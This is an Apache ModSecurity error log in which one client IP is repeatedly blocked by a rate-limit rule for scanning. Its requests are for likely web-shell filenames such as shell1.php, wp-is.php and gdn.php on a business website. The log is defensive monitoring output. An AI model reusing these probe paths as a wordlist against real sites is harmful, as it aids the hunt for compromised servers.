[Mon Dec 15 20:42:34.705673 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16209] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aUACOhaJK6javjid3xy2yAAAAQk"]
[Mon Dec 15 20:42:34.956239 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:16239] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUACOhaJK6javjid3xy2ygAAARA"]
[Mon Dec 15 20:42:35.233155 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16137] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUACOxaJK6javjid3xy2zgAAAQ8"]
[Mon Dec 15 20:42:35.507911 2025] [:error] [pid 31372:tid 31381] [client 4.194.147.174:16360] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUACOwN06qRtpJxyxHihdwAAAIU"]
[Mon Dec 15 20:42:35.773233 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:16257] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aUACO3FdnrU7ASwItVLhHQAAANQ"]
[Mon Dec 15 20:42:36.020615 2025] [:error] [pid 31372:tid 31396] [client 4.194.147.174:16235] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aUACPAN06qRtpJxyxHiheQAAAJQ"]
[Mon Dec 15 20:42:36.321155 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16148] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aUACPHFdnrU7ASwItVLhIgAAAMM"]
[Mon Dec 15 20:42:36.570834 2025] [:error] [pid 31373:tid 31405] [client 4.194.147.174:16271] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aUACPHFdnrU7ASwItVLhJQAAAMA"]
[Mon Dec 15 20:42:36.801465 2025] [:error] [pid 31459:tid 31464] [client 4.194.147.174:16319] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aUACPDqerS0TDpViRztogwAAAAM"]
[Mon Dec 15 20:42:37.067391 2025] [:error] [pid 31372:tid 31377] [client 4.194.147.174:16135] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aUACPQN06qRtpJxyxHihfQAAAIE"]
[Mon Dec 15 20:42:37.328004 2025] [:error] [pid 31372:tid 31378] [client 4.194.147.174:16226] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aUACPQN06qRtpJxyxHihfwAAAII"]
[Mon Dec 15 20:42:37.566603 2025] [:error] [pid 52155:tid 52180] [client 4.194.147.174:16143] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aUACPRaJK6javjid3xy22AAAARY"]
[Mon Dec 15 20:42:37.828670 2025] [:error] [pid 52155:tid 52164] [client 4.194.147.174:16207] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aUACPRaJK6javjid3xy22QAAAQY"]
[Mon Dec 15 20:42:38.232247 2025] [:error] [pid 31372:tid 31399] [client 4.194.147.174:16299] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aUACPgN06qRtpJxyxHihhAAAAJc"]
[Mon Dec 15 20:42:38.612022 2025] [:error] [pid 31374:tid 31452] [client 4.194.147.174:16377] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aUACPpzSh8b7uk6RWiFingAAAFQ"]
[Mon Dec 15 20:42:38.881122 2025] [:error] [pid 52155:tid 52174] [client 4.194.147.174:16301] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aUACPhaJK6javjid3xy23AAAARA"]
[Mon Dec 15 20:42:39.071653 2025] [:error] [pid 31459:tid 31464] [client 4.194.147.174:16375] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aUACPzqerS0TDpViRztokQAAAAM"]
[Mon Dec 15 20:42:39.288225 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16256] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aUACPxaJK6javjid3xy23gAAAQU"]
[Mon Dec 15 20:42:39.618466 2025] [:error] [pid 31372:tid 31396] [client 4.194.147.174:16160] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aUACPwN06qRtpJxyxHihiwAAAJQ"]
[Mon Dec 15 20:42:39.910774 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:16253] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aUACPwN06qRtpJxyxHihjAAAAIA"]
[Mon Dec 15 20:42:40.118089 2025] [:error] [pid 31374:tid 31444] [client 4.194.147.174:16282] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/n3.php"] [unique_id "aUACQJzSh8b7uk6RWiFiowAAAEw"]
[Mon Dec 15 20:42:40.591559 2025] [:error] [pid 52155:tid 52176] [client 4.194.147.174:16245] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aUACQBaJK6javjid3xy24wAAARI"]
[Mon Dec 15 20:42:40.846709 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16192] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aUACQBaJK6javjid3xy25QAAAQ4"]
[Mon Dec 15 20:42:41.123358 2025] [:error] [pid 52155:tid 52175] [client 4.194.147.174:16229] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aUACQRaJK6javjid3xy25gAAARE"]
[Mon Dec 15 20:42:41.335983 2025] [:error] [pid 31372:tid 31385] [client 4.194.147.174:16174] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/an.php"] [unique_id "aUACQQN06qRtpJxyxHihkgAAAIk"]
[Mon Dec 15 20:42:41.608117 2025] [:error] [pid 31374:tid 31436] [client 4.194.147.174:16295] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aUACQZzSh8b7uk6RWiFiqwAAAEQ"]
[Mon Dec 15 20:42:41.816873 2025] [:error] [pid 31374:tid 31447] [client 4.194.147.174:16173] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aUACQZzSh8b7uk6RWiFirAAAAE8"]
[Mon Dec 15 20:42:41.991753 2025] [:error] [pid 31459:tid 31467] [client 4.194.147.174:16303] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aUACQTqerS0TDpViRztongAAAAY"]
[Mon Dec 15 20:42:42.195847 2025] [:error] [pid 31459:tid 31470] [client 4.194.147.174:16222] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aUACQjqerS0TDpViRztonwAAAAk"]
[Mon Dec 15 20:42:42.513596 2025] [:error] [pid 31374:tid 31433] [client 4.194.147.174:16241] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aUACQpzSh8b7uk6RWiFirwAAAEE"]
[Mon Dec 15 20:42:42.736189 2025] [:error] [pid 31374:tid 31439] [client 4.194.147.174:16308] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aUACQpzSh8b7uk6RWiFisAAAAEc"]
[Mon Dec 15 20:42:42.975854 2025] [:error] [pid 31372:tid 31381] [client 4.194.147.174:16130] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aUACQgN06qRtpJxyxHihmQAAAIU"]
[Mon Dec 15 20:42:43.229816 2025] [:error] [pid 31372:tid 31390] [client 4.194.147.174:16223] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aUACQwN06qRtpJxyxHihnQAAAI4"]
[Mon Dec 15 20:42:43.496644 2025] [:error] [pid 31372:tid 31383] [client 4.194.147.174:16293] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aUACQwN06qRtpJxyxHihngAAAIc"]
[Mon Dec 15 20:42:43.755568 2025] [:error] [pid 31374:tid 31453] [client 4.194.147.174:16175] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aUACQ5zSh8b7uk6RWiFiswAAAFU"]
[Mon Dec 15 20:42:44.050769 2025] [:error] [pid 31373:tid 31406] [client 4.194.147.174:16136] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aUACRHFdnrU7ASwItVLhYAAAAME"]
[Mon Dec 15 20:42:44.346686 2025] [:error] [pid 31459:tid 31463] [client 4.194.147.174:16376] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-is.php"] [unique_id "aUACRDqerS0TDpViRztoqwAAAAI"]
[Mon Dec 15 20:42:44.555670 2025] [:error] [pid 52155:tid 52171] [client 4.194.147.174:16243] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUACRBaJK6javjid3xy28AAAAQ0"]
[Mon Dec 15 20:42:44.762274 2025] [:error] [pid 52155:tid 52181] [client 4.194.147.174:16238] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUACRBaJK6javjid3xy28gAAARc"]
[Mon Dec 15 20:42:45.050809 2025] [:error] [pid 52155:tid 52172] [client 4.194.147.174:16337] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUACRRaJK6javjid3xy29AAAAQ4"]
[Mon Dec 15 20:42:45.313200 2025] [:error] [pid 52155:tid 52167] [client 4.194.147.174:16310] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aUACRRaJK6javjid3xy29wAAAQk"]
[Mon Dec 15 20:42:45.644522 2025] [:error] [pid 52155:tid 52177] [client 4.194.147.174:16089] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUACRRaJK6javjid3xy2-gAAARM"]
[Mon Dec 15 20:42:45.832800 2025] [:error] [pid 31374:tid 31441] [client 4.194.147.174:16316] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUACRZzSh8b7uk6RWiFiugAAAEk"]
[Mon Dec 15 20:42:46.148228 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:16169] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUACRnFdnrU7ASwItVLhdQAAANQ"]
[Mon Dec 15 20:42:46.535019 2025] [:error] [pid 31373:tid 31429] [client 4.194.147.174:16361] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/m.php"] [unique_id "aUACRnFdnrU7ASwItVLheQAAANg"]
[Mon Dec 15 20:42:46.798094 2025] [:error] [pid 31373:tid 31420] [client 4.194.147.174:16007] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aUACRnFdnrU7ASwItVLhfwAAAM8"]
[Mon Dec 15 20:42:47.104052 2025] [:error] [pid 31372:tid 31376] [client 4.194.147.174:16246] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aUACRwN06qRtpJxyxHihwQAAAIA"]
[Mon Dec 15 20:42:47.389604 2025] [:error] [pid 52155:tid 52163] [client 4.194.147.174:16232] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aUACRxaJK6javjid3xy3BQAAAQU"]
[Mon Dec 15 20:42:47.615484 2025] [:error] [pid 31372:tid 31386] [client 4.194.147.174:16291] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/shell1.php"] [unique_id "aUACRwN06qRtpJxyxHihyAAAAIo"]
[Mon Dec 15 20:42:47.797438 2025] [:error] [pid 31372:tid 31400] [client 4.194.147.174:16194] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aUACRwN06qRtpJxyxHihywAAAJg"]
[Mon Dec 15 20:42:48.021673 2025] [:error] [pid 52155:tid 52173] [client 4.194.147.174:16159] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aUACSBaJK6javjid3xy3CAAAAQ8"]
[Mon Dec 15 20:42:48.260698 2025] [:error] [pid 31373:tid 31425] [client 4.194.147.174:16217] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aUACSHFdnrU7ASwItVLhiwAAANQ"]
[Mon Dec 15 20:42:48.593524 2025] [:error] [pid 31373:tid 31408] [client 4.194.147.174:16066] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gdn.php"] [unique_id "aUACSHFdnrU7ASwItVLhjgAAAMM"]
[Mon Dec 15 20:42:48.978349 2025] [:error] [pid 52155:tid 52178] [client 4.194.147.174:16167] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aUACSBaJK6javjid3xy3DQAAARQ"]
[Mon Dec 15 20:42:49.454450 2025] [:error] [pid 52155:tid 52158] [client 4.194.147.174:16132] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aUACSRaJK6javjid3xy3DgAAAQA"]
[Mon Dec 15 20:42:49.687180 2025] [:error] [pid 31374:tid 31438] [client 4.194.147.174:16236] [client 4.194.147.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aUACSZzSh8b7uk6RWiFiygAAAEY"]
